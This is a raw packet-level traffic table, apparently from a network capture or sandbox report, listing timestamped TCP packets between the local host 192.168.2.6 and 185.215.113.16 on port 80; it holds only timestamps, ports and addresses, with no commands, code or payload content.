Dec 23, 2024 06:53:42.407825947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.407866955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.408694983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.408761978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.408981085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.409688950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.409733057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.409805059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.410592079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.410701036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.410751104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.411545992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.411633015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.411698103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.412486076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.412585020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.412610054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.413408995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.413469076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.413507938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.460949898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.473750114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.473886967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.474210978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.474280119 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.474282980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.474327087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.475159883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.475263119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.475322962 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.476080894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.476206064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.476459026 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.477049112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.477150917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.477193117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.477965117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.478075027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.478929043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.478949070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.479007959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.479526997 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.479851961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.479978085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.480010986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.480801105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.480921030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.481048107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.481738091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.481837034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.482400894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.482673883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.482815981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.482875109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.483637094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.483742952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.483803034 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.484586954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.484646082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.484704971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.485505104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.485599995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.485641956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.486428022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.486500025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.486540079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.487422943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.487451077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.487487078 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.488308907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.488440037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.488495111 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.489268064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.489367962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.489419937 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.490200043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.490360022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.490400076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.491147041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.491306067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.491357088 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.492099047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.492172956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.492352009 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.492996931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.493125916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.493166924 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.493992090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.494096041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.494874954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.494931936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.494995117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.495840073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.495886087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.495933056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.495969057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.496751070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.496860981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.496901035 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.497703075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.497808933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.497855902 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.498645067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.498867035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.498924971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.499710083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.499777079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.499819994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.500523090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.500603914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.503103971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.539462090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.539549112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.539611101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.539870977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.540005922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.540865898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.540919065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.540999889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.541038036 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.541768074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.541878939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.541934013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.542679071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.542922974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.543659925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.543716908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.543735981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.543772936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.544574976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.544742107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.545509100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.545568943 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.545608997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.545651913 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.546473980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.546637058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.547074080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.547404051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.547507048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.548331976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.548387051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.548420906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.548459053 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.549253941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.549400091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.549454927 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.550209045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.550347090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.550717115 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.551121950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.597882032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.597939968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.597953081 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.598052979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.598161936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.598206043 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.599001884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.599117994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.599132061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.599946976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.599998951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.600050926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.600866079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.600970984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.600970984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.601835012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.601886988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.601924896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.602766037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.602830887 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.602879047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.603697062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.603746891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.603812933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.604655027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.604726076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.604835987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.605540991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.605705976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.605756044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.606503010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.606556892 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.665991068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.666028976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.666140079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.666419029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.666522026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.666573048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.667378902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.667469025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.667515993 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.668306112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.668395042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.668442011 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.669236898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.669336081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.669385910 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.670172930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.670274973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.670322895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.671132088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.671350956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.671399117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.672069073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.672230959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.672278881 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.673002958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.673104048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.673151970 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.673928976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.674043894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.674092054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.674895048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.674964905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.675012112 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.675832987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.675920010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.675966978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.676759005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.676875114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.676922083 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.677692890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.677843094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.677890062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.678637028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.678693056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.678740025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.679577112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.679681063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.679850101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.680506945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.680633068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.680680990 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.681463003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.681541920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.681590080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.682395935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.682518005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.682564974 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.683362007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.683423996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.683470964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.684273005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.684362888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.684410095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.685214043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.685334921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.685380936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.686142921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.686259031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.686302900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.687094927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.687336922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.687386036 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.688019037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.688127995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.688172102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.688994884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.689094067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.689141035 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.689932108 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.690026999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.690072060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.690870047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.691009045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.691052914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.692328930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.692433119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.692477942 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.692740917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.692950010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.692994118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.731798887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.731885910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.731983900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.732302904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.732388020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.732448101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.733206034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.733371973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.733421087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.734129906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.734268904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.734421968 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.735079050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.735174894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.735219955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.736054897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.736188889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.736232996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.736951113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.737062931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.737111092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.737901926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.738038063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.738080025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.738851070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.738950968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.738996983 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.739806890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.739984989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.740027905 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.740732908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.741555929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.741612911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.742235899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.742330074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.742382050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.742603064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.742723942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.742769957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.743750095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.789047003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.789978027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.790074110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.790143967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.790240049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.790399075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.790446043 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.791205883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.791342974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.791398048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.792131901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.792239904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.792292118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.793162107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.793282986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.793334961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.794058084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.794112921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.794271946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.794971943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.795049906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.795090914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.795900106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.796055079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.796102047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.796844006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.796945095 CET	80	49758	185.215.113.16	192.168.2.6
